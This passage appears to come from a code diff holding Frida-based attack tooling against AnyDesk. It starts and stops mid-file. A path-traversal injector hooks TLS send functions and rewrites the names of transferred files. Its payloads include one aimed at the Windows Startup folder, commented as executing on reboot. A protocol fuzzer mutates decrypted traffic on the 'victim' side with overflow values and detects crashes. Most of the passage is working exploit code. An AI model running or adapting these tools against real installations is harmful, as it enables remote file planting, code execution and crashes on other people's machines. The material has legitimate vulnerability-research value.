const dst = args[1].readUtf16String();
|
||||||
|
send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CreateDirectoryW) {
|
||||||
|
Interceptor.attach(CreateDirectoryW, {
|
||||||
|
onEnter(args) {
|
||||||
|
const path = args[0].readUtf16String();
|
||||||
|
if (isInteresting(path)) {
|
||||||
|
send({type: 'dir_create', path: path, timestamp: Date.now()});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
|
||||||
|
send({type: 'ready'});
|
||||||
|
""";
|
||||||
|
|
||||||
|
# ============================================================
|
||||||
|
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
|
||||||
|
# Hooks TLS send to find and replace filenames with traversal paths
|
||||||
|
# ============================================================
|
||||||
|
INJECT_AGENT = r"""
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
const TRAVERSAL_PAYLOADS = %PAYLOADS%;
|
||||||
|
let currentPayloadIdx = 0;
|
||||||
|
let injectionCount = 0;
|
||||||
|
|
||||||
|
// The filename we're looking for (set by Python controller)
|
||||||
|
const TARGET_FILENAME = '%TARGET_FILENAME%';
|
||||||
|
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16
|
||||||
|
|
||||||
|
function findAndReplace(buf, searchStr, replaceStr) {
|
||||||
|
const arr = new Uint8Array(buf);
|
||||||
|
|
||||||
|
// Search for UTF-8 string
|
||||||
|
const searchBytes = [];
|
||||||
|
for (let i = 0; i < searchStr.length; i++) {
|
||||||
|
searchBytes.push(searchStr.charCodeAt(i));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Search for UTF-16LE string
|
||||||
|
const searchBytesWide = [];
|
||||||
|
for (let i = 0; i < searchStr.length; i++) {
|
||||||
|
searchBytesWide.push(searchStr.charCodeAt(i));
|
||||||
|
searchBytesWide.push(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
let found = false;
|
||||||
|
|
||||||
|
// Try UTF-8
|
||||||
|
for (let i = 0; i <= arr.length - searchBytes.length; i++) {
|
||||||
|
let match = true;
|
||||||
|
for (let j = 0; j < searchBytes.length; j++) {
|
||||||
|
if (arr[i + j] !== searchBytes[j]) { match = false; break; }
|
||||||
|
}
|
||||||
|
if (match) {
|
||||||
|
send({type: 'injection', encoding: 'UTF-8', offset: i,
|
||||||
|
original: searchStr, replacement: replaceStr});
|
||||||
|
// Replace with traversal payload (UTF-8)
|
||||||
|
const replaceBytes = [];
|
||||||
|
for (let k = 0; k < replaceStr.length; k++) {
|
||||||
|
replaceBytes.push(replaceStr.charCodeAt(k));
|
||||||
|
}
|
||||||
|
// Pad with nulls if replacement is shorter
|
||||||
|
for (let k = 0; k < searchBytes.length; k++) {
|
||||||
|
arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
|
||||||
|
}
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try UTF-16LE
|
||||||
|
if (!found) {
|
||||||
|
for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
|
||||||
|
let match = true;
|
||||||
|
for (let j = 0; j < searchBytesWide.length; j++) {
|
||||||
|
if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
|
||||||
|
}
|
||||||
|
if (match) {
|
||||||
|
send({type: 'injection', encoding: 'UTF-16LE', offset: i,
|
||||||
|
original: searchStr, replacement: replaceStr});
|
||||||
|
// Replace with traversal payload (UTF-16LE)
|
||||||
|
const replaceBytesWide = [];
|
||||||
|
for (let k = 0; k < replaceStr.length; k++) {
|
||||||
|
replaceBytesWide.push(replaceStr.charCodeAt(k));
|
||||||
|
replaceBytesWide.push(0);
|
||||||
|
}
|
||||||
|
for (let k = 0; k < searchBytesWide.length; k++) {
|
||||||
|
arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
|
||||||
|
}
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
|
||||||
|
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
|
||||||
|
Module.findExportByName('secur32.dll', 'EncryptMessage');
|
||||||
|
|
||||||
|
if (EncryptMessage) {
|
||||||
|
Interceptor.attach(EncryptMessage, {
|
||||||
|
onEnter(args) {
|
||||||
|
const pBufDesc = args[2];
|
||||||
|
try {
|
||||||
|
const cBuffers = pBufDesc.add(4).readU32();
|
||||||
|
const pBuffers = pBufDesc.add(8).readPointer();
|
||||||
|
|
||||||
|
for (let i = 0; i < cBuffers; i++) {
|
||||||
|
const bufPtr = pBuffers.add(i * 16);
|
||||||
|
const cbBuffer = bufPtr.readU32();
|
||||||
|
const bufType = bufPtr.add(4).readU32();
|
||||||
|
const pvBuffer = bufPtr.add(8).readPointer();
|
||||||
|
|
||||||
|
if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
|
||||||
|
const data = pvBuffer.readByteArray(cbBuffer);
|
||||||
|
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
|
||||||
|
|
||||||
|
if (findAndReplace(data, TARGET_FILENAME, payload)) {
|
||||||
|
pvBuffer.writeByteArray(data);
|
||||||
|
injectionCount++;
|
||||||
|
currentPayloadIdx++;
|
||||||
|
send({type: 'injected', count: injectionCount, payload: payload});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Also try OpenSSL hooks
|
||||||
|
const mods = Process.enumerateModules();
|
||||||
|
for (const m of mods) {
|
||||||
|
if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
|
||||||
|
try {
|
||||||
|
const exports = m.enumerateExports();
|
||||||
|
for (const exp of exports) {
|
||||||
|
if (exp.name === 'SSL_write') {
|
||||||
|
Interceptor.attach(exp.address, {
|
||||||
|
onEnter(args) {
|
||||||
|
const buf = args[1];
|
||||||
|
const len = args[2].toInt32();
|
||||||
|
if (len > 0 && len < 1024 * 1024) {
|
||||||
|
const data = buf.readByteArray(len);
|
||||||
|
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
|
||||||
|
if (findAndReplace(data, TARGET_FILENAME, payload)) {
|
||||||
|
buf.writeByteArray(data);
|
||||||
|
injectionCount++;
|
||||||
|
currentPayloadIdx++;
|
||||||
|
send({type: 'injected', count: injectionCount, payload: payload});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
|
||||||
|
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
|
||||||
|
send({type: 'ready'});
|
||||||
|
""";
|
||||||
|
|
||||||
|
# Traversal payloads to test
|
||||||
|
TRAVERSAL_PAYLOADS = [
|
||||||
|
# Basic backslash traversal
|
||||||
|
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
|
||||||
|
# Forward slash
|
||||||
|
"../../../../Users/Public/Desktop/traversal_test2.txt",
|
||||||
|
# Mixed separators
|
||||||
|
"..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
|
||||||
|
# Startup folder (would execute on reboot)
|
||||||
|
"..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
|
||||||
|
# Double encoding
|
||||||
|
"..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
|
||||||
|
# Unicode fullwidth backslash (U+FF3C)
|
||||||
|
"..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
|
||||||
|
# Null byte truncation
|
||||||
|
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
|
||||||
|
# Long path
|
||||||
|
"..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
|
||||||
|
# UNC path
|
||||||
|
"\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
|
||||||
|
# Dot-dot with extra dots
|
||||||
|
"...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def on_message_monitor(message, data):
|
||||||
|
if message['type'] == 'send':
|
||||||
|
payload = message['payload']
|
||||||
|
msg_type = payload.get('type', '')
|
||||||
|
|
||||||
|
if msg_type == 'status':
|
||||||
|
print(f" [*] {payload['msg']}")
|
||||||
|
elif msg_type == 'ready':
|
||||||
|
on_message_monitor.ready = True
|
||||||
|
elif msg_type == 'file_op':
|
||||||
|
d = payload['data']
|
||||||
|
marker = ''
|
||||||
|
if d['isWrite'] and d['isCreate']:
|
||||||
|
marker = ' [WRITE+CREATE]'
|
||||||
|
if d['traversalFlags']:
|
||||||
|
marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
|
||||||
|
print(f" [FILE] {d['type']}: {d['path']}{marker}")
|
||||||
|
if d.get('stack'):
|
||||||
|
# Show first 3 frames
|
||||||
|
frames = d['stack'].split('\n')[:3]
|
||||||
|
for f in frames:
|
||||||
|
print(f" {f}")
|
||||||
|
elif msg_type == 'file_create':
|
||||||
|
flags = payload.get('traversalFlags', [])
|
||||||
|
marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
|
||||||
|
print(f" [+FILE CREATED] {payload['path']}{marker}")
|
||||||
|
elif msg_type == 'file_move':
|
||||||
|
print(f" [MOVE] {payload['src']} -> {payload['dst']}")
|
||||||
|
elif msg_type == 'file_copy':
|
||||||
|
print(f" [COPY] {payload['src']} -> {payload['dst']}")
|
||||||
|
elif msg_type == 'dir_create':
|
||||||
|
print(f" [MKDIR] {payload['path']}")
|
||||||
|
elif msg_type == 'alert':
|
||||||
|
print(f"\n {'!'*60}")
|
||||||
|
print(f" [!!!] ALERT: {payload['msg']}")
|
||||||
|
print(f" [!!!] Flags: {payload['flags']}")
|
||||||
|
print(f" {'!'*60}\n")
|
||||||
|
elif message['type'] == 'error':
|
||||||
|
print(f" [!] ERROR: {message['description']}")
|
||||||
|
|
||||||
|
on_message_monitor.ready = False
|
||||||
|
|
||||||
|
|
||||||
|
def on_message_inject(message, data):
|
||||||
|
if message['type'] == 'send':
|
||||||
|
payload = message['payload']
|
||||||
|
msg_type = payload.get('type', '')
|
||||||
|
|
||||||
|
if msg_type == 'status':
|
||||||
|
print(f" [*] {payload['msg']}")
|
||||||
|
elif msg_type == 'ready':
|
||||||
|
on_message_inject.ready = True
|
||||||
|
elif msg_type == 'injection':
|
||||||
|
print(f" [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
|
||||||
|
print(f" Original: {payload['original']}")
|
||||||
|
print(f" Replacement: {payload['replacement']}")
|
||||||
|
elif msg_type == 'injected':
|
||||||
|
print(f" [INJECTED #{payload['count']}] {payload['payload']}")
|
||||||
|
elif message['type'] == 'error':
|
||||||
|
print(f" [!] ERROR: {message['description']}")
|
||||||
|
|
||||||
|
on_message_inject.ready = False
|
||||||
|
|
||||||
|
|
||||||
|
def find_anydesk_pid():
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
output = subprocess.check_output(
|
||||||
|
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL
|
||||||
|
)
|
||||||
|
for line in output.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
return int(parts[1].strip('"'))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
|
||||||
|
parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
|
||||||
|
help='monitor=watch file writes on victim, inject=modify filenames on attacker')
|
||||||
|
parser.add_argument('--filename', default='traversal_probe.txt',
|
||||||
|
help='Filename to search for and replace (for inject phase)')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
print("=" * 60)
|
||||||
|
print(f" AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
pid = find_anydesk_pid()
|
||||||
|
if not pid:
|
||||||
|
print("[!] AnyDesk.exe not found.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||||
|
|
||||||
|
try:
|
||||||
|
session = frida.attach(pid)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Frida attach failed: {e}")
|
||||||
|
print("[!] Run as Administrator.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if args.phase == 'monitor':
|
||||||
|
print("[+] Monitoring file operations...")
|
||||||
|
print("[+] Transfer a file via AnyDesk to this machine to see where it lands")
|
||||||
|
|
||||||
|
script = session.create_script(MONITOR_AGENT, runtime='v8')
|
||||||
|
script.on('message', on_message_monitor)
|
||||||
|
script.load()
|
||||||
|
|
||||||
|
for _ in range(100):
|
||||||
|
if on_message_monitor.ready:
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
print(f"\n{'=' * 60}")
|
||||||
|
print(" MONITORING — send a file to this AnyDesk instance now")
|
||||||
|
print(" Press Ctrl+C to stop")
|
||||||
|
print(f"{'=' * 60}\n")
|
||||||
|
|
||||||
|
elif args.phase == 'inject':
|
||||||
|
print(f"[+] Injection mode — target filename: '{args.filename}'")
|
||||||
|
print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")
|
||||||
|
|
||||||
|
payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
|
||||||
|
agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
|
||||||
|
agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)
|
||||||
|
|
||||||
|
script = session.create_script(agent_code, runtime='v8')
|
||||||
|
script.on('message', on_message_inject)
|
||||||
|
script.load()
|
||||||
|
|
||||||
|
for _ in range(100):
|
||||||
|
if on_message_inject.ready:
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
print(f"\n{'=' * 60}")
|
||||||
|
print(f" INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
|
||||||
|
print(" Press Ctrl+C to stop")
|
||||||
|
print(f"{'=' * 60}\n")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
time.sleep(0.1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[+] Stopped.")
|
||||||
|
|
||||||
|
session.detach()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,538 @@
|
|||||||
|
"""
|
||||||
|
AnyDesk Blind Protocol Fuzzer
|
||||||
|
Hooks the RECEIVING side's TLS decryption and mutates incoming data
|
||||||
|
to trigger crashes in codec/protocol parsing.
|
||||||
|
|
||||||
|
Modes:
|
||||||
|
--mode random : Random byte flips in all incoming data
|
||||||
|
--mode dimensions : Target likely dimension fields (2-byte and 4-byte values 100-8192)
|
||||||
|
--mode overflow : Replace small size values with large ones (integer overflow)
|
||||||
|
--mode all : Cycle through all mutation strategies
|
||||||
|
|
||||||
|
Run on the VICTIM side while connected to attacker.
|
||||||
|
The attacker just needs to move the mouse / show screen content to generate frames.
|
||||||
|
|
||||||
|
Usage: python 04_fuzzer.py --mode all --intensity medium
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
FUZZER_AGENT = r"""
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
const FUZZ_MODE = '%FUZZ_MODE%';
|
||||||
|
const INTENSITY = %INTENSITY%; // 0.0-1.0, probability of mutating a packet
|
||||||
|
const SKIP_FIRST_N = %SKIP_FIRST_N%; // Skip first N packets (handshake)
|
||||||
|
let packetCount = 0;
|
||||||
|
let mutationCount = 0;
|
||||||
|
let crashDetected = false;
|
||||||
|
|
||||||
|
// Mutation strategies
|
||||||
|
const strategies = {
|
||||||
|
// Flip random bytes
|
||||||
|
random: function(arr, len) {
|
||||||
|
const numFlips = Math.max(1, Math.floor(len * 0.01)); // 1% of bytes
|
||||||
|
for (let i = 0; i < numFlips; i++) {
|
||||||
|
const idx = Math.floor(Math.random() * len);
|
||||||
|
arr[idx] = Math.floor(Math.random() * 256);
|
||||||
|
}
|
||||||
|
return `random_flip(${numFlips})`;
|
||||||
|
},
|
||||||
|
|
||||||
|
// Target dimension-like fields: find 2/4-byte LE values between 100-8192
|
||||||
|
// and replace with edge cases
|
||||||
|
dimensions: function(arr, len) {
|
||||||
|
const edgeCases16 = [0, 1, 0x7FFF, 0x8000, 0xFFFF, 0xFFFE, 65535, 32768, 32767];
|
||||||
|
const edgeCases32 = [0, 1, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF, 0xFFFFFFFE,
|
||||||
|
0x10000, 0xFFFF, 65536, 2147483647];
|
||||||
|
let mutations = [];
|
||||||
|
|
||||||
|
// Scan for 4-byte values that look like dimensions
|
||||||
|
for (let i = 0; i < len - 4; i += 2) {
|
||||||
|
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
|
||||||
|
if (val >= 100 && val <= 8192) {
|
||||||
|
// This might be a width/height — replace with edge case
|
||||||
|
if (Math.random() < 0.3) {
|
||||||
|
const edge = edgeCases32[Math.floor(Math.random() * edgeCases32.length)];
|
||||||
|
arr[i] = edge & 0xFF;
|
||||||
|
arr[i+1] = (edge >> 8) & 0xFF;
|
||||||
|
arr[i+2] = (edge >> 16) & 0xFF;
|
||||||
|
arr[i+3] = (edge >> 24) & 0xFF;
|
||||||
|
mutations.push(`dim32@${i}:${val}->${edge}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Also check 2-byte values
|
||||||
|
const val16 = arr[i] | (arr[i+1] << 8);
|
||||||
|
if (val16 >= 100 && val16 <= 4096) {
|
||||||
|
if (Math.random() < 0.2) {
|
||||||
|
const edge = edgeCases16[Math.floor(Math.random() * edgeCases16.length)];
|
||||||
|
arr[i] = edge & 0xFF;
|
||||||
|
arr[i+1] = (edge >> 8) & 0xFF;
|
||||||
|
mutations.push(`dim16@${i}:${val16}->${edge}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mutations.length > 0 ? mutations.join(', ') : 'no_dims_found';
|
||||||
|
},
|
||||||
|
|
||||||
|
// Integer overflow: find size-like fields and make them huge
|
||||||
|
overflow: function(arr, len) {
|
||||||
|
let mutations = [];
|
||||||
|
|
||||||
|
// Look for 4-byte values that could be sizes (reasonable range)
|
||||||
|
for (let i = 0; i < len - 4; i += 4) {
|
||||||
|
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
|
||||||
|
|
||||||
|
// Sizes typically > 0 and < 10MB
|
||||||
|
if (val > 0 && val < 10 * 1024 * 1024) {
|
||||||
|
if (Math.random() < 0.15) {
|
||||||
|
// Integer overflow payloads
|
||||||
|
const overflows = [
|
||||||
|
0xFFFFFFFF, // Max uint32
|
||||||
|
0x80000000, // Int32 sign flip
|
||||||
|
val * 0x10001, // width*height overflow pattern
|
||||||
|
0x7FFFFFFF, // Max int32
|
||||||
|
val | 0xFF000000, // High bytes set
|
||||||
|
(val << 16) | val, // Doubled
|
||||||
|
0x01000000, // 16MB (alloc stress)
|
||||||
|
0x10000000, // 256MB
|
||||||
|
0xFFFFFFF0, // Near-max aligned
|
||||||
|
];
|
||||||
|
const ov = overflows[Math.floor(Math.random() * overflows.length)];
|
||||||
|
arr[i] = ov & 0xFF;
|
||||||
|
arr[i+1] = (ov >> 8) & 0xFF;
|
||||||
|
arr[i+2] = (ov >> 16) & 0xFF;
|
||||||
|
arr[i+3] = (ov >> 24) & 0xFF;
|
||||||
|
mutations.push(`overflow@${i}:${val}->0x${(ov >>> 0).toString(16)}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mutations.length > 0 ? mutations.join(', ') : 'no_sizes_found';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function mutatePacket(buf) {
|
||||||
|
const arr = new Uint8Array(buf);
|
||||||
|
const len = arr.length;
|
||||||
|
|
||||||
|
if (len < 8) return null; // Too small to fuzz meaningfully
|
||||||
|
|
||||||
|
let strategy;
|
||||||
|
if (FUZZ_MODE === 'all') {
|
||||||
|
const modes = ['random', 'dimensions', 'overflow'];
|
||||||
|
strategy = modes[mutationCount % modes.length];
|
||||||
|
} else {
|
||||||
|
strategy = FUZZ_MODE;
|
||||||
|
}
|
||||||
|
|
||||||
|
const desc = strategies[strategy](arr, len);
|
||||||
|
return {strategy: strategy, desc: desc};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Hook DecryptMessage (SChannel) — mutate data AFTER decryption
|
||||||
|
// ============================================================
|
||||||
|
function hookDecrypt() {
|
||||||
|
const DecryptMessage = Module.findExportByName('sspicli.dll', 'DecryptMessage') ||
|
||||||
|
Module.findExportByName('secur32.dll', 'DecryptMessage');
|
||||||
|
|
||||||
|
if (DecryptMessage) {
|
||||||
|
Interceptor.attach(DecryptMessage, {
|
||||||
|
onEnter(args) {
|
||||||
|
this.pMessage = args[1];
|
||||||
|
},
|
||||||
|
onLeave(retval) {
|
||||||
|
if (retval.toInt32() !== 0) return;
|
||||||
|
packetCount++;
|
||||||
|
|
||||||
|
if (packetCount <= SKIP_FIRST_N) return; // Skip handshake
|
||||||
|
if (Math.random() > INTENSITY) return; // Probabilistic
|
||||||
|
|
||||||
|
try {
|
||||||
|
const pBufDesc = this.pMessage;
|
||||||
|
const cBuffers = pBufDesc.add(4).readU32();
|
||||||
|
const pBuffers = pBufDesc.add(8).readPointer();
|
||||||
|
|
||||||
|
for (let i = 0; i < cBuffers; i++) {
|
||||||
|
const bufPtr = pBuffers.add(i * 16);
|
||||||
|
const cbBuffer = bufPtr.readU32();
|
||||||
|
const bufType = bufPtr.add(4).readU32();
|
||||||
|
const pvBuffer = bufPtr.add(8).readPointer();
|
||||||
|
|
||||||
|
if (bufType === 1 && cbBuffer > 16 && cbBuffer < 1024 * 1024) {
|
||||||
|
const data = pvBuffer.readByteArray(cbBuffer);
|
||||||
|
const result = mutatePacket(data);
|
||||||
|
|
||||||
|
if (result) {
|
||||||
|
pvBuffer.writeByteArray(data);
|
||||||
|
mutationCount++;
|
||||||
|
|
||||||
|
if (mutationCount % 10 === 0 || mutationCount <= 5) {
|
||||||
|
send({
|
||||||
|
type: 'mutation',
|
||||||
|
seq: packetCount,
|
||||||
|
size: cbBuffer,
|
||||||
|
strategy: result.strategy,
|
||||||
|
desc: result.desc,
|
||||||
|
totalMutations: mutationCount,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch(e) {
|
||||||
|
send({type: 'error', msg: e.toString()});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Hook SSL_read (OpenSSL) — mutate after read
|
||||||
|
// ============================================================
|
||||||
|
function hookSSLRead() {
|
||||||
|
let hooked = false;
|
||||||
|
const mods = Process.enumerateModules();
|
||||||
|
|
||||||
|
for (const m of mods) {
|
||||||
|
if (m.name.toLowerCase().includes('ssl')) {
|
||||||
|
try {
|
||||||
|
const exports = m.enumerateExports();
|
||||||
|
for (const exp of exports) {
|
||||||
|
if (exp.name === 'SSL_read') {
|
||||||
|
Interceptor.attach(exp.address, {
|
||||||
|
onEnter(args) {
|
||||||
|
this.buf = args[1];
|
||||||
|
},
|
||||||
|
onLeave(retval) {
|
||||||
|
const read = retval.toInt32();
|
||||||
|
if (read <= 0) return;
|
||||||
|
packetCount++;
|
||||||
|
|
||||||
|
if (packetCount <= SKIP_FIRST_N) return;
|
||||||
|
if (Math.random() > INTENSITY) return;
|
||||||
|
|
||||||
|
const data = this.buf.readByteArray(read);
|
||||||
|
const result = mutatePacket(data);
|
||||||
|
if (result) {
|
||||||
|
this.buf.writeByteArray(data);
|
||||||
|
mutationCount++;
|
||||||
|
if (mutationCount % 10 === 0 || mutationCount <= 5) {
|
||||||
|
send({
|
||||||
|
type: 'mutation',
|
||||||
|
seq: packetCount,
|
||||||
|
size: read,
|
||||||
|
strategy: result.strategy,
|
||||||
|
desc: result.desc,
|
||||||
|
totalMutations: mutationCount,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
hooked = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return hooked;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Fallback: Hook ws2_32!recv and mutate raw (may break TLS)
|
||||||
|
// ============================================================
|
||||||
|
function hookRawRecv() {
|
||||||
|
const wsRecv = Module.findExportByName('ws2_32.dll', 'recv');
|
||||||
|
if (wsRecv) {
|
||||||
|
Interceptor.attach(wsRecv, {
|
||||||
|
onEnter(args) {
|
||||||
|
this.buf = args[1];
|
||||||
|
},
|
||||||
|
onLeave(retval) {
|
||||||
|
const received = retval.toInt32();
|
||||||
|
if (received <= 0) return;
|
||||||
|
packetCount++;
|
||||||
|
|
||||||
|
if (packetCount <= SKIP_FIRST_N) return;
|
||||||
|
if (Math.random() > INTENSITY) return;
|
||||||
|
|
||||||
|
const data = this.buf.readByteArray(received);
|
||||||
|
const result = mutatePacket(data);
|
||||||
|
if (result) {
|
||||||
|
this.buf.writeByteArray(data);
|
||||||
|
mutationCount++;
|
||||||
|
if (mutationCount % 50 === 0 || mutationCount <= 3) {
|
||||||
|
send({
|
||||||
|
type: 'mutation',
|
||||||
|
seq: packetCount,
|
||||||
|
size: received,
|
||||||
|
strategy: result.strategy,
|
||||||
|
desc: result.desc,
|
||||||
|
totalMutations: mutationCount,
|
||||||
|
note: 'RAW_SOCKET (may break TLS)',
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Crash detection: hook common crash paths
|
||||||
|
// ============================================================
|
||||||
|
function setupCrashDetection() {
|
||||||
|
// Hook UnhandledExceptionFilter
|
||||||
|
const uef = Module.findExportByName('kernel32.dll', 'UnhandledExceptionFilter');
|
||||||
|
if (uef) {
|
||||||
|
Interceptor.attach(uef, {
|
||||||
|
onEnter(args) {
|
||||||
|
const exceptionRecord = args[0];
|
||||||
|
try {
|
||||||
|
const exceptionCode = exceptionRecord.readU32();
|
||||||
|
const exceptionAddress = exceptionRecord.add(Process.pointerSize * 2).readPointer();
|
||||||
|
|
||||||
|
send({
|
||||||
|
type: 'crash',
|
||||||
|
code: '0x' + (exceptionCode >>> 0).toString(16),
|
||||||
|
address: exceptionAddress.toString(),
|
||||||
|
totalPackets: packetCount,
|
||||||
|
totalMutations: mutationCount,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
crashDetected = true;
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hook RtlReportException / RaiseException for earlier detection
|
||||||
|
const raiseEx = Module.findExportByName('kernel32.dll', 'RaiseException');
|
||||||
|
if (raiseEx) {
|
||||||
|
Interceptor.attach(raiseEx, {
|
||||||
|
onEnter(args) {
|
||||||
|
const code = args[0].toInt32() >>> 0;
|
||||||
|
// Filter: only report access violations, heap corruption, stack overflow
|
||||||
|
if (code === 0xC0000005 || code === 0xC0000374 || code === 0xC00000FD ||
|
||||||
|
code === 0xC0000409) {
|
||||||
|
send({
|
||||||
|
type: 'exception',
|
||||||
|
code: '0x' + code.toString(16),
|
||||||
|
codeName: {
|
||||||
|
0xC0000005: 'ACCESS_VIOLATION',
|
||||||
|
0xC0000374: 'HEAP_CORRUPTION',
|
||||||
|
0xC00000FD: 'STACK_OVERFLOW',
|
||||||
|
0xC0000409: 'STACK_BUFFER_OVERRUN'
|
||||||
|
}[code] || 'UNKNOWN',
|
||||||
|
totalPackets: packetCount,
|
||||||
|
totalMutations: mutationCount,
|
||||||
